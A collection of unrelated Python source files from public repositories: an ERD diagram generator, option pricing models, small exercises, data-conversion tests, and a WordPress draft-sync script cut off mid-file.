Config.remove_dups:\n cls._removeDuplTables()\n return cls.tables\n\n @classmethod \n def getTopObjLabel(cls):\n return \"JSON_ARRAY\" if isinstance(cls.obj, Arr) else \"JSON_OBJECT\"\n\n @classmethod\n def _getTable(cls, obj, isTop=False):\n if obj.name in cls.tables:\n return cls.tables[obj.name]\n\n table = Table(obj, obj.name)\n cls.tables[obj.name] = table\n table.isTop = isTop\n for key in obj.props:\n prop = obj.props[key]\n col = Column(table, prop, prop.key)\n table.columns.append(col)\n col.nullable = not prop.req\n col.count = prop.count\n\n if isinstance(prop.val.val, Obj):\n col.obj = cls._getTable(prop.val.val)\n elif not isinstance(prop.val.val, Arr):\n col.datatype = prop.val.type\n elif prop.val.val.hasPrimitives():\n col.datatype = f\"{prop.val.val.getPrimitiveType()}[]\"\n else:\n for obj1 in prop.val.val.objs:\n col.arr.append(cls._getTable(obj1))\n return table\n\n @classmethod\n def getEmptyDotShape(cls, label):\n return (f' {label} [fillcolor=\"{Config.theme.fillcolorC}\" color=\"{Config.theme.color}\"'\n + ' penwidth=\"1\" shape=\"point\" label=\" \"]\\n')\n\n @classmethod\n def createGraph(cls):\n s = ('digraph {\\n'\n + ' graph [ rankdir=\"RL\" bgcolor=\"#ffffff\" ]\\n'\n + f' node [ style=\"filled\" shape=\"{Config.theme.shape}\" gradientangle=\"180\" ]\\n'\n + ' edge [ arrowhead=\"none\" arrowtail=\"normal\" dir=\"both\" ]\\n\\n'\n + cls.getEmptyDotShape(cls.getTopObjLabel()))\n\n for name in cls.tables: s += cls.tables[name].getDotShape()\n s += \"\\n\"\n for name in cls.tables: s += cls.tables[name].getDotLinks()\n s += \"}\\n\"\n return s\n \n @classmethod\n def _removeDuplTables(cls):\n while True:\n table1, table2 = cls._findSimilar()\n if table1 is None: return\n cls._replaceTable(table1, table2)\n\n @classmethod\n def _findSimilar(cls):\n for key1 in cls.tables:\n table1 = cls.tables[key1]\n for key2 in cls.tables:\n table2 = cls.tables[key2]\n if table1 != table2 and table1.isSimilarWith(table2):\n return table1, table2\n return None, None\n\n @classmethod\n def _replaceTable(cls, table1, table2):\n for key in cls.tables:\n table = cls.tables[key]\n for col in table.columns:\n if col.obj is not None and col.obj == table1:\n col.obj = table2\n elif len(col.arr) > 0:\n for obj in col.arr:\n if obj == table1:\n col.arr.remove(table1)\n col.arr.append(table2)\n del cls.tables[table1.name]\n\n# ==========================================================================\nclass Column:\n def __init__(self, table, prop, name):\n self.table = table\n self.prop = prop\n self.name = name\n self.count = 0\n self.nullable = True\n\n self.datatype = None # string, string[]\n self.obj = None # Table\n self.arr = [] # [Table, ...] <-- array of array?\n\n def getName(self):\n name = self.name\n if self.nullable: name = f\"{name}*\"\n if Config.show_types and len(self.arr) > 0: name += \"[]\"\n #if JsonManager.show_counts: name = f'{name} ({self.count})'\n return name\n\n def isSimilarWith(self, col) -> bool:\n if col.nullable != self.nullable: return False\n if col.datatype is not None and self.datatype is not None:\n return col.datatype == self.datatype\n if col.obj is not None and self.obj is not None:\n return col.obj == self.obj\n if len(col.arr) > 0 and len(self.arr) > 0:\n for type in self.arr:\n if type not in col.arr: return False\n for type in col.arr:\n if type not in self.arr: return False\n return True\n\n# ==========================================================================\nclass Table:\n def __init__(self, obj, name):\n self.obj = obj\n self.name = name\n self.isTop = False\n \n self.columns = [] # list of all columns\n\n def getColumn(self, name):\n for column in self.columns:\n if column.name == name:\n return column\n return None\n\n def isSimilarWith(self, table) -> bool:\n if len(self.columns) != len(table.columns): return False\n for col in self.columns:\n other = table.getColumn(col.name)\n if other is None or not col.isSimilarWith(other): return False\n for col in table.columns:\n other = self.getColumn(col.name)\n if other is None or not col.isSimilarWith(other): return False\n return True\n\n def getDotShape(self):\n s = self.getDotColumns()\n if len(s) == 0:\n return ERDManager.getEmptyDotShape(self.name)\n return (f' {self.name} [\\n'\n + f' fillcolor=\"{Config.theme.fillcolorC}\" color=\"{Config.theme.color}\" penwidth=\"1\"\\n'\n + f' label=<\\n'\n + s\n + f'
>\\n ]\\n')\n\n def getDotColumns(self):\n s = \"\"\n for col in self.columns:\n if col.datatype is not None:\n if not Config.show_types:\n s += f' {col.getName()}\\n'\n else:\n s += (f' {col.getName()}\\n'\n + f' {col.datatype}\\n')\n return s\n\n def getTopDotLink(self):\n if not self.isTop: return \"\"\n top_label = ERDManager.getTopObjLabel()\n array = \"\" if top_label == \"JSON_OBJECT\" else ' arrowtail=\"crow\" style=\"dashed\"'\n return f' {self.name} -> {top_label} [ penwidth=\"{Config.theme.penwidth}\" color=\"{Config.theme.pencolor}\"{array} ]\\n'\n\n def getDotLinks(self):\n s = \"\" if not self.isTop else self.getTopDotLink()\n for col in self.columns:\n if col.datatype is None:\n dashed = \"\" if not col.nullable else ' style=\"dashed\"'\n label = f' label=<{col.getName()}>'\n if col.obj is not None:\n s += (f' {col.obj.name} -> {self.name}'\n + f' [ penwidth=\"{Config.theme.penwidth}\" color=\"{Config.theme.pencolor}\"{dashed}{label} ]\\n')\n else:\n for obj in col.arr:\n s += (f' {obj.name} -> {self.name}'\n + f' [ penwidth=\"{Config.theme.penwidth}\" color=\"{Config.theme.pencolor}\"{dashed}{label} arrowtail=\"crow\" ]\\n')\n return s\n","repo_name":"cristiscu/json-data-profiler","sub_path":"erd_classes.py","file_name":"erd_classes.py","file_ext":"py","file_size_in_byte":7850,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33513438718","text":"\"\"\" pricing module \"\"\"\nimport numpy as np\nimport scipy.stats as stats\nfrom math import log, sqrt, exp\nfrom configuration import OptionConfigurationBuilder\n\n\nclass Option(object):\n \"\"\" Option object which will be use for addition, subtraction and multiplication \"\"\"\n def __init__(self, price: float = None, delta: float = None, gamma: float = None, vega: float = None,\n theta: float = None, rho: float = None):\n self._price = price\n self._delta = delta\n self._gamma = gamma\n self._vega = vega\n self._theta = theta\n self._rho = rho\n\n def price(self):\n \"\"\" Premium, composed of the sum of the intrinsic and time value \"\"\"\n return self._price\n\n def delta(self):\n \"\"\" first derivative of the value of the option with respect to the underlying security's price \"\"\"\n return self._delta\n\n def gamma(self):\n \"\"\" second derivative of the value of the option with respect to the underlying security's price \"\"\"\n return self._gamma\n\n def vega(self):\n \"\"\" first derivative of the value of the option with respect to the underlying security's volatility \"\"\"\n return self._vega\n\n def theta(self):\n \"\"\" first derivative of the value of the option with respect to the time \"\"\"\n return self._theta\n\n def rho(self):\n \"\"\" first derivative of the value of the option with respect to the interest rate \"\"\"\n return self._rho\n\n def __add__(self, other):\n\n return Option(\n self.price() + other.price(),\n self.delta() + other.delta(),\n self.gamma() + other.gamma(),\n self.vega() + other.vega(),\n self.theta() + other.theta(),\n self.rho() + other.rho()\n )\n\n def __sub__(self, other):\n\n return Option(\n self.price() - other.price(),\n self.delta() - other.delta(),\n self.gamma() - other.gamma(),\n self.vega() - other.vega(),\n self.theta() - other.theta(),\n self.rho() - other.rho()\n )\n\n def __mul__(self, other):\n\n return Option(\n self.price() * other,\n self.delta() * other,\n self.gamma() * other,\n self.vega() * other,\n self.theta() * other,\n self.rho() * other\n )\n\n def __hash__(self):\n return hash((self.price(), self.gamma(), self.vega(), self.theta(), self.rho()))\n\n\nclass BlackScholesMerton(Option):\n \"\"\" Black Scholes Merton Pricing \"\"\"\n PERIODS_PER_YEAR = 252\n\n def __init__(self, configuration: OptionConfigurationBuilder):\n super(BlackScholesMerton, self).__init__()\n self.kind = configuration.kind\n self.s = configuration.spot\n self.k = configuration.strike\n self.v = configuration.sigma\n self.t = configuration.maturity / self.PERIODS_PER_YEAR\n self.r = configuration.risk_free_rate\n self.q = configuration.dividend_yield\n self._d1 = (log(self.s / self.k) + (self.r - self.q + self.v ** 2 * 0.5) * self.t) / (self.v * sqrt(self.t))\n self._d2 = (log(self.s / self.k) + (self.r - self.q - self.v ** 2 * 0.5) * self.t) / (self.v * sqrt(self.t))\n\n def price(self):\n \"\"\" Premium, composed of the sum of the intrinsic and time value \"\"\"\n if self.kind == 'call':\n price = exp(-self.r * self.t) * (self.s * exp((self.r - self.q) * self.t) * stats.norm.cdf(\n self._d1) - self.k * stats.norm.cdf(self._d2))\n else:\n price = exp(-self.r * self.t) * (self.k * stats.norm.cdf(-self._d2) - (\n self.s * exp((self.r - self.q) * self.t) * stats.norm.cdf(-self._d1)))\n return price\n\n def delta(self):\n \"\"\" first derivative of the value of the option with respect to the underlying security's price \"\"\"\n if self.kind == 'call':\n delta = exp(-self.q * self.t) * stats.norm.cdf(self._d1)\n else:\n delta = exp(-self.q * self.t) * stats.norm.cdf(self._d1) - 1\n return delta\n\n def gamma(self):\n \"\"\" second derivative of the value of the option with respect to the underlying security's price \"\"\"\n return stats.norm.pdf(self._d1) * exp(-self.q * self.t) / (self.s * self.v * sqrt(self.t))\n\n def vega(self):\n \"\"\" first derivative of the value of the option with respect to the underlying security's volatility \"\"\"\n return 0.01 * (self.s * sqrt(self.t) * stats.norm.pdf(self._d1) * exp(-self.q * self.t))\n\n def theta(self):\n \"\"\" first derivative of the value of the option with respect to the time \"\"\"\n if self.kind == 'call':\n theta = -self.s * stats.norm.pdf(self._d1) * self.v * exp(-self.q * self.t) / (2 * sqrt(self.t)) \\\n + self.q * self.s * stats.norm.cdf(self._d1) * exp(-self.q * self.t) \\\n - self.r * self.k * exp(-self.r * self.t) * stats.norm.cdf(self._d2)\n else:\n theta = -self.s * stats.norm.pdf(self._d1) * self.v * exp(-self.q * self.t) / (2 * sqrt(self.t)) \\\n + self.q * self.s * stats.norm.cdf(-self._d1) * exp(-self.q * self.t) \\\n - self.r * self.k * exp(-self.r * self.t) * stats.norm.cdf(-self._d2)\n return 1/self.PERIODS_PER_YEAR * theta\n\n def rho(self):\n \"\"\" first derivative of the value of the option with respect to the interest rate \"\"\"\n if self.kind == 'call':\n rho = 0.01 * (self.k * self.t * (exp(-self.r * self.t)) * stats.norm.cdf(self._d2))\n else:\n rho = 0.01 * (-self.k * self.t * (exp(-self.r * self.t)) * stats.norm.cdf(-self._d2))\n return rho\n\n\nclass GeometricBrownianMotion(BlackScholesMerton):\n \"\"\" Continuous-time stochastic process \"\"\"\n def __init__(self, configuration: OptionConfigurationBuilder):\n super(GeometricBrownianMotion, self).__init__(configuration)\n self.simulation = configuration.simulation\n self.steps = configuration.steps\n self.st_paths = np.zeros((self.simulation, self.steps))\n self.prices_at_maturity = None\n self.barrier = configuration.barrier\n\n GeometricBrownianMotion.run_simulation(self)\n\n def run_simulation(self):\n \"\"\" time series computation \"\"\"\n for i in range(self.simulation):\n self.st_paths[i][0] = self.s\n for j in range(1, self.steps):\n self.st_paths[i][j] = self.st_paths[i][j-1] * exp(\n (self.r - 0.5 * self.v**2) * 1 / self.PERIODS_PER_YEAR + self.v * sqrt(\n 1 / self.PERIODS_PER_YEAR) * np.random.normal(0, 1))\n self.prices_at_maturity = [self.st_paths[i][-1] for i in range(self.simulation)]\n\n def price(self):\n \"\"\" average of discounted payoffs \"\"\"\n if self.kind == 'call':\n payoffs = [max(S - self.k, 0) for S in self.prices_at_maturity]\n else:\n payoffs = [max(self.k - S, 0) for S in self.prices_at_maturity]\n payoff = np.mean(payoffs)\n return payoff * exp(-self.r * self.t)\n\n def digital(self):\n \"\"\" average of discounted payoffs \"\"\"\n payoffs = [S > self.k for S in self.prices_at_maturity]\n payoff = np.mean(payoffs)\n return payoff * exp(-self.r * self.t)\n\n def up_and_out(self):\n \"\"\" average of discounted payoffs \"\"\"\n payoffs = [(S < self.barrier) * max(S - self.k, 0) for S in self.prices_at_maturity]\n payoff = np.mean(payoffs)\n\n def up_and_in(self, barrier):\n \"\"\" average of discounted payoffs \"\"\"\n payoffs = [(S > barrier) * max(S - self.k, 0) for S in self.prices_at_maturity]\n payoff = np.mean(payoffs)\n return payoff * exp(-self.r * self.t)\n\n def down_and_out(self, barrier):\n \"\"\" average of discounted payoffs \"\"\"\n payoffs = [(S > barrier) * max(self.k - S, 0) for S in self.prices_at_maturity]\n payoff = np.mean(payoffs)\n return payoff * exp(-self.r * self.t)\n\n def down_and_in(self, barrier):\n \"\"\" average of discounted payoffs \"\"\"\n payoffs = [(S < barrier) * max(self.k - S, 0) for S in self.prices_at_maturity]\n payoff = np.mean(payoffs)\n return payoff * exp(-self.r * self.t)","repo_name":"Stevenworick/Pricing","sub_path":"pricing.py","file_name":"pricing.py","file_ext":"py","file_size_in_byte":8257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20965931033","text":"# 10872 팩토리얼\n#https://yeol2.tistory.com/38\n\nimport sys\n\ndef makestar(n):\n result=[]\n legnth=len(n)\n for i in range(3*legnth):\n if i//legnth==1: #몫이 1일 경우\n result.append(n[i%legnth] + \" \" * legnth + n[i%legnth])\n else:\n result.append(n[i%legnth]*3)\n return (list(result))\n\nn=int(sys.stdin.readline())\nstar=[\"***\",\"* *\",\"***\"]\n\nk=0\nwhile n!=3:\n n=int(n/3)\n k+=1\n\nfor i in range(k):\n star=makestar(star)\nfor i in star:\n print(i)","repo_name":"uoayop/study.algorithm","sub_path":"baekjoon/10872.py","file_name":"10872.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72676804302","text":"import datetime\nimport unittest\n\nfrom app import APP\n\n\nclass Test_ustvari_racunsko_porocilo(unittest.TestCase):\n\t@classmethod\n\tdef setUpClass(cls) -> None:\n\t\tAPP.init()\n\t\tcls.use_case = APP.use_case.ustvari_racunsko_porocilo()\n\n\tdef test_dogodki(self):\n\t\ttoday = datetime.date.today()\n\t\trp = self.use_case.exe(zacetek=today, konec=today + datetime.timedelta(days=2))\n\t\tassert len(rp.dnevi) > 0","repo_name":"ethernal12/my_pay_pal","sub_path":"tests/use_cases/test_ustvari_racunsko_porocilo.py","file_name":"test_ustvari_racunsko_porocilo.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26984609809","text":"#08. Usando a biblioteca ‘pygame’, escreva um programa que desenha um botão (círculo) com o texto “clique” sobre ele na parte superior da tela. Quando o botão for clicado, ele deve chamar uma função que desenha um retângulo em uma posição aleatória na tela. Caso um retângulo apareça na mesma posição que um já existente, ambos devem ser eliminados.\n\nimport pygame\nimport random\nimport math\n\nlargura = 640\naltura = 480\nbranco = (255,255,255)\npreto = (0, 0, 0)\nvermelho= (155, 0, 0)\nazul = (0, 255, 255)\nverde = (0, 255, 0)\namarelo = (255, 255, 0)\n\npygame.init()\npygame.display.set_caption('Atividade 08')\n\nfonte = pygame.font.SysFont('Courrier ', 21)\ntela = pygame.display.set_mode((largura, altura))\nclock = pygame.time.Clock()\nfim = False\n\nquadrados = []\n\ncirculo = {\"x\": 320, \"y\": 60, \"raio\": 50}\n\n\ndef circulo_vermelho():\n pygame.draw.circle(tela, vermelho, (circulo[\"x\"], circulo[\"y\"]), circulo['raio'])\n textsurface = fonte.render(\"CLIQUE\", False, branco)\n tela.blit(textsurface, (292, 52))\n\n\ndef retangulo_amarelo(pos):\n dist = math.sqrt((circulo[\"x\"] - pos[0])**2 + (circulo[\"y\"] - pos[1])**2)\n if dist > circulo[\"raio\"]:\n return\n\n x = random.randint(0, largura - 100)\n y = random.randint(0, altura - 50)\n\n for quadrado in quadrados:\n rect1 = pygame.Rect((quadrado[0], quadrado[1], 100, 50))\n rect2 = pygame.Rect((x, y, 100, 50))\n\n if rect1.colliderect(rect2):\n quadrados.remove(quadrado)\n return\n\n quadrados.append((x, y))\n\n\n\nwhile not fim:\n\n clock.tick(30)\n\n tela.fill(preto)\n\n for x, y in quadrados:\n pygame.draw.rect(tela, amarelo, (x, y, 100, 50))\n\n circulo_vermelho()\n\n pygame.display.update()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n fim = True\n exit(0)\n break\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n retangulo_amarelo(pygame.mouse.get_pos())\n","repo_name":"eloybarbosa/Fundamentos-de-programacao-com-Python","sub_path":"Assessment/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6275297711","text":"from __future__ import annotations\n\nimport json\nimport os\n\nimport pytest\n\nfrom CCAgT_utils.converters import CCAgT\nfrom CCAgT_utils.converters import utils\nfrom CCAgT_utils.errors import FileTypeError\nfrom testing.create import RawAuxFiles\n\n\ndef test_build_description(ccagt_df_multi, ccagt_metadata):\n df = ccagt_df_multi.copy()\n CCAgT_ann = CCAgT.CCAgT(df)\n df['image_id'] = CCAgT_ann.generate_ids(df['image_name'])\n df['slide_id'] = CCAgT_ann.get_slide_id()\n\n template = ccagt_metadata['description_template']\n\n out = utils.__build_description(template, df)\n assert out == '''\nqtd of images = 3\nqtd of slides = 2\nqtd of annotations = 11\n'''\n\n\ndef test_open_and_read_json(lbb_raw_sample_complete):\n aux = [{'': None}]\n with RawAuxFiles(lbb_raw_sample_complete, aux) as paths:\n _, raw_path, aux_path = paths\n out = utils.open_and_read_json(raw_path)\n out1 = utils.open_and_read_json(aux_path)\n\n assert out == lbb_raw_sample_complete\n assert out1 == aux\n\n\ndef test_labelbox_to_COCO_wrong_filetypes():\n with pytest.raises(FileTypeError):\n utils.labelbox_to_COCO('', 'raw.txt', 'aux.json', 'out.json', '', 2)\n with pytest.raises(FileTypeError):\n utils.labelbox_to_COCO('', 'raw.json', 'aux.txt', 'out.json', '', 2)\n with pytest.raises(FileTypeError):\n utils.labelbox_to_COCO('', 'raw.json', 'aux.json', 'out.txt', '', 2)\n\n\ndef test_labelbox_to_COCO_wrong_target():\n out = utils.labelbox_to_COCO('', 'raw.json', 'aux.json', 'out.json', '', 2)\n assert out == 1\n\n\ndef test_labelbox_to_COCO_OD(lbb_raw_sample_complete, ccagt_aux_data):\n with RawAuxFiles(lbb_raw_sample_complete, ccagt_aux_data) as paths:\n temp_dir, raw_path, aux_path = paths\n out_filename = os.path.join(temp_dir, 'out.json')\n o = utils.labelbox_to_COCO('OD', raw_path, aux_path, out_filename, '', 2)\n assert o == 0\n\n\ndef test_labelbox_to_COCO_IS():\n with pytest.raises(NotImplementedError):\n utils.labelbox_to_COCO('IS', 'raw.json', 'aux.json', 'out.json', '', 2)\n\n\ndef test_labelbox_to_COCO_PS():\n with pytest.raises(NotImplementedError):\n utils.labelbox_to_COCO('PS', 'raw.json', 'aux.json', 'out.json', '', 2)\n\n\ndef test_labelbox_to_CCAgT_wrong_filetypes():\n with pytest.raises(FileTypeError):\n utils.labelbox_to_CCAgT('raw.txt', 'aux.json', 'out.parquet', '')\n\n with pytest.raises(FileTypeError):\n utils.labelbox_to_CCAgT('raw.json', 'aux.txt', 'out.parquet', '')\n\n with pytest.raises(FileTypeError):\n utils.labelbox_to_CCAgT('raw.json', 'aux.json', 'out.json', '')\n\n\ndef test_labelbox_to_CCAgT(lbb_raw_sample_complete, ccagt_aux_data):\n with RawAuxFiles(lbb_raw_sample_complete, ccagt_aux_data) as paths:\n temp_dir, raw_path, aux_path = paths\n out_filename = os.path.join(temp_dir, 'out.parquet')\n out = utils.labelbox_to_CCAgT(raw_path, aux_path, out_filename, '.jpg', True)\n\n out1_filename = os.path.join(temp_dir, 'out.parquet.gzip')\n out1 = utils.labelbox_to_CCAgT(raw_path, aux_path, out1_filename, '', False)\n\n assert out == out1 == 0\n\n\ndef test_labelbox_to_CCAgT_without_valid_geometries(lbb_raw_single_wrong_nucleus, ccagt_aux_data):\n with RawAuxFiles([lbb_raw_single_wrong_nucleus], ccagt_aux_data) as paths:\n temp_dir, raw_path, aux_path = paths\n out_filename = os.path.join(temp_dir, 'out.parquet')\n out = utils.labelbox_to_CCAgT(raw_path, aux_path, out_filename, '', True)\n\n assert out == 0\n\n\n@pytest.mark.slow\ndef test_ccagt_generate_masks(ccagt_ann_single_nucleus, tmpdir):\n ccagt_ann_single_nucleus.df['image_id'] = 1\n ccagt_path = tmpdir.join('ccagt.parquet.gzip')\n ccagt_ann_single_nucleus.to_parquet(str(ccagt_path))\n\n assert utils.ccagt_generate_masks(str(ccagt_path), str(tmpdir), split_by_slide=False) == 0\n assert len(tmpdir.listdir()) == 2\n\n\ndef test_ccagt_wrong_file():\n with pytest.raises(FileTypeError):\n utils.ccagt_generate_masks('wrong.name', '/tmp/', False)\n\n\ndef test_CCAgT_to_PS_COCO(ccagt_ann_single_nucleus, categories_infos, tmpdir):\n outfilename = os.path.join(tmpdir, 'test_CCAgT_to_PS_COCO.json')\n ccagt_ann_single_nucleus.df['area'] = ccagt_ann_single_nucleus.geometries_area()\n ccagt_ann_single_nucleus.df['image_id'] = ccagt_ann_single_nucleus.generate_ids(ccagt_ann_single_nucleus.df['image_name'])\n ccagt_ann_single_nucleus.df['slide_id'] = ccagt_ann_single_nucleus.get_slide_id()\n\n out = utils.CCAgT_to_PS_COCO(ccagt_ann_single_nucleus, categories_infos, tmpdir, outfilename, {'year': 'sample'}, False)\n\n assert out == 0\n\n with open(outfilename) as f:\n itens = json.load(f)\n\n assert all(x in itens for x in {'info', 'categories', 'images', 'annotations'})\n assert all(x in itens['categories'][0] for x in {'supercategory', 'name', 'id'})\n assert all(x in itens['images'][0] for x in {'file_name', 'height', 'width', 'id'})\n assert all(x in itens['annotations'][0] for x in {'image_id', 'file_name', 'segments_info'})\n assert all(\n x in j for j in itens['annotations'][0]['segments_info']\n for x in {'id', 'category_id', 'area', 'bbox', 'iscrowd'}\n )\n\n\ndef test_CCAgT_to_COCO_NotImplemented():\n with pytest.raises(NotImplementedError):\n utils.CCAgT_to_COCO('IS', '', None, '', None, False)\n\n\ndef test_CCAgT_to_COCO_PS_with_auxfile(ccagt_ann_single_nucleus, ccagt_aux_data):\n ccagt_ann_single_nucleus.df['image_name'] = 'C_xx1'\n\n with RawAuxFiles([{'a': None}], ccagt_aux_data) as paths:\n temp_dir, _, aux_path = paths\n ccagt_path = os.path.join(temp_dir, 'ccagt.parquet.gzip')\n ccagt_ann_single_nucleus.to_parquet(ccagt_path)\n out = utils.CCAgT_to_COCO('PS', ccagt_path, aux_path, temp_dir, None, False)\n\n assert out == 0\n\n\ndef test_CCAgT_to_COCO_OD_with_auxfile(ccagt_ann_single_nucleus, ccagt_aux_data):\n ccagt_ann_single_nucleus.df['image_name'] = 'C_xx1'\n\n with RawAuxFiles([{'a': None}], ccagt_aux_data) as paths:\n temp_dir, _, aux_path = paths\n ccagt_path = os.path.join(temp_dir, 'ccagt.parquet.gzip')\n ccagt_ann_single_nucleus.to_parquet(ccagt_path)\n out = utils.CCAgT_to_COCO('OD', ccagt_path, aux_path, temp_dir, None, False)\n\n assert out == 0\n\n\ndef test_CCAgT_to_COCO_wrong_target(ccagt_ann_single_nucleus, tmpdir):\n ccagt_path = os.path.join(tmpdir, 'ccagt.parquet.gzip')\n ccagt_ann_single_nucleus.to_parquet(ccagt_path)\n out = utils.CCAgT_to_COCO('wrong target', ccagt_path, None, tmpdir, None, False)\n\n assert out == 1\n","repo_name":"johnnv1/CCAgT-utils","sub_path":"tests/converters/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":6568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21739846782","text":"from os.path import join\n\nfrom bugfinder.base.processing.containers import (\n AbstractContainerProcessing,\n)\nfrom bugfinder.settings import LOGGER\n\n\nclass RightFixer(AbstractContainerProcessing):\n \"\"\"Processing to change the ownership of every file.\"\"\"\n\n def configure_container(self):\n \"\"\"Set the variables for the container\"\"\"\n self.image_name = \"right-fixer:latest\"\n self.container_name = \"right-fixer\"\n self.volumes = {self.dataset.path: \"/data\"}\n\n def configure_command(self, command):\n \"\"\"Create the command to be run\"\"\"\n self.command = join(\"/data\", command)\n LOGGER.debug(\"Input command: %s.\", self.command)\n\n def send_commands(self):\n \"\"\"Process the command\"\"\"\n LOGGER.debug(\"Right fixed for Neo4j DB.\")\n","repo_name":"usnistgov/ai-bugfinder-testbed","sub_path":"bugfinder/processing/dataset/fix_rights.py","file_name":"fix_rights.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"4692571591","text":"__author__ = 'GHajba'\n\nimport argparse\nimport mdxml\nfrom wordpress_xmlrpc import Client\nfrom wordpress_xmlrpc import WordPressPost\nfrom wordpress_xmlrpc.methods import posts, taxonomies\nfrom os.path import expanduser\nfrom xml2md import xml2md\nfrom file_utils import write_line_at_beginning, read_file_lines, get_folder_name, write_file, read_file_as_one, \\\n user_edited_later\nfrom xmlrpc_proxy import HTTPProxyTransport\n\n\ndef convert_file(filename):\n input_lines = read_file_lines(filename)\n starter = 0\n title = None\n categories = None\n tags = None\n id = None\n for line in input_lines:\n if not line.startswith(\"[\"):\n break\n starter += 1\n if line.startswith(\"[title]\"):\n title = line[7:].strip()\n elif line.startswith(\"[categories]\"):\n categories = [s.strip() for s in line[12:].split(\",\")]\n elif line.startswith(\"[tags]\"):\n tags = [s.strip() for s in line[6:].split(\",\")]\n elif line.startswith(\"[id]\"):\n id = line[4:].strip()\n content = mdxml.convert_lines(input_lines[starter:])\n return id, title, categories, tags, content\n\n\ndef get_proxy(configuration):\n if 'proxy' in configuration and configuration['proxy'] and len(configuration['proxy']):\n return HTTPProxyTransport({'https': configuration['proxy']})\n\n\ndef get_client(configuration):\n transport = get_proxy(configuration)\n client = Client(configuration['endpoint'], configuration[\"username\"], configuration['password'],\n transport=transport)\n return client\n\n\ndef send_to_wordpress(id, title, categories, tags, content, configuration):\n if len(content.strip()) == 0:\n return\n\n client = get_client(configuration)\n\n if id:\n post = client.call(posts.GetPost(id))\n pass\n else:\n post = WordPressPost()\n post.content = content\n if title is not None:\n post.title = title\n if post.title is None:\n post.title = 'My post'\n post.terms_names = {\n 'post_tag': tags,\n 'category': categories,\n }\n\n if id:\n client.call(posts.EditPost(post.id, post))\n else:\n post.id = client.call(posts.NewPost(post))\n\n print(\"Blog post with id \" + post.id + \" was successfully sent to WordPress.\")\n return post.id\n\n\ndef add_post_id_to_original(filename, id):\n write_line_at_beginning(filename, \"[id] \" + id)\n\n\ndef create_filename(title):\n \"\"\"Converts the title of the post to a filename.\"\"\"\n filename = title.replace(\" \", \"_\") + \".md\"\n return filename\n\n\ndef load_drafts(configuration, draft_count):\n \"\"\"Loads all draft posts from WordPress\"\"\"\n client = get_client(configuration)\n draft_posts = client.call(posts.GetPosts({'post_status': 'draft', 'number': str(draft_count)}))\n return draft_posts\n\n\ndef get_draft_parameters(draft):\n \"\"\"\n Loads all parameters from the draft\n :param draft: the draft which is loaded\n :return: the id, title, categories, tags, content and modified date of the draft\n \"\"\"\n categories = []\n tags = []\n terms = draft.terms\n if terms:\n for term in terms:\n if \"category\" == term.taxonomy:\n categories.append(term.name)\n if \"post_tag\" == term.taxonomy:\n tags.append(term.name)\n\n return draft.id, draft.title, categories, tags, draft.content, draft.date_modified\n\n\ndef convert_to_markdown(id, title, categories, tags, content):\n result = \"[id] \" + id + \"\\n\"\n result += \"[title] \" + title + \"\\n\"\n if categories:\n result += \"[categories] \" + ','.join(categories) + \"\\n\"\n if tags:\n result += \"[tags] \" + ','.join(tags) + \"\\n\"\n result += \"\\n\"\n result += xml2md(content)\n return result\n\n\ndef load_tags(configuration):\n \"\"\"\n Loads already defined and used tags from WordPress.\n :param configuration: the configuration to enable a connection with WordPress.\n :return: the list of defined tags\n \"\"\"\n client = get_client(configuration)\n return [t.name for t in client.call(taxonomies.GetTerms('post_tag'))]\n\n\ndef load_categories(configuration):\n \"\"\"\n Loads already defined categories from WordPress.\n :param configuration: the configuration to enable a connection with WordPress.\n :return: the list of defined categories\n \"\"\"\n client = get_client(configuration)\n return [c.name for c in client.call(taxonomies.GetTerms('category'))]\n\n\ndef export_drafts(configuration, target_folder, draft_count, update):\n drafts = load_drafts(configuration, draft_count)\n for draft in drafts:\n id, title, categories, tags, content, modified = get_draft_parameters(draft)\n filename = create_filename(title)\n if update or not user_edited_later(target_folder, filename, modified):\n markdown_content = convert_to_markdown(id, title, categories, tags, content)\n write_file(target_folder, filename, markdown_content)\n else:\n print(\n \"The file {0} has beed modified locally later than at the blog, it won't be overwritten.\".format(\n filename))\n\n\ndef verify_categories(categories, defined_categories):\n \"\"\"\n Verifies each category of the post if it is already defined or not. Categories have to be defined.\n :param categories: the categories of the post\n :param defined_categories: the defined categories in the blog\n :return: True if the categories are empty or are already defined, False if the category is unknown\n \"\"\"\n for category in categories:\n if category not in defined_categories:\n print(\n 'Category \"{0}\" is not defined for this blog. Please define it through the WordPress User Interface.'.format(\n category))\n return False\n return True\n\n\ndef verify_tags(tags, defined_tags):\n \"\"\"\n Verifies each tag of the post if it is already defined or not. Tags do not have to be defined per default.\n :param tags: the tags of the post\n :param defined_tags: the already defined and used tags of the blog\n :return: True if the tags are empty or are already defined, False if the tag is unknown\n \"\"\"\n for tag in tags:\n if tag not in defined_tags:\n print('Tag \"{0}\" is not defined for this blog.'.format(category))\n return False\n return True\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--config\",\n help=\"The full path of the configuration file storing the XML-RPC endpoint, username and password. Per default the application looks at your home folder and searches for wpedit.conf\")\n parser.add_argument(\"post_file\",\n help=\"The full path of the input file to send to WordPress. If used with the '-l' option it is the full path of the folder to save the drafts from WordPress.\")\n parser.add_argument(\"-m\", \"--mdconf\", help=\"The full path of the md-to-xml conversion-extension file\")\n parser.add_argument(\"-l\", \"--load\",\n help=\"Loads all draft posts into the 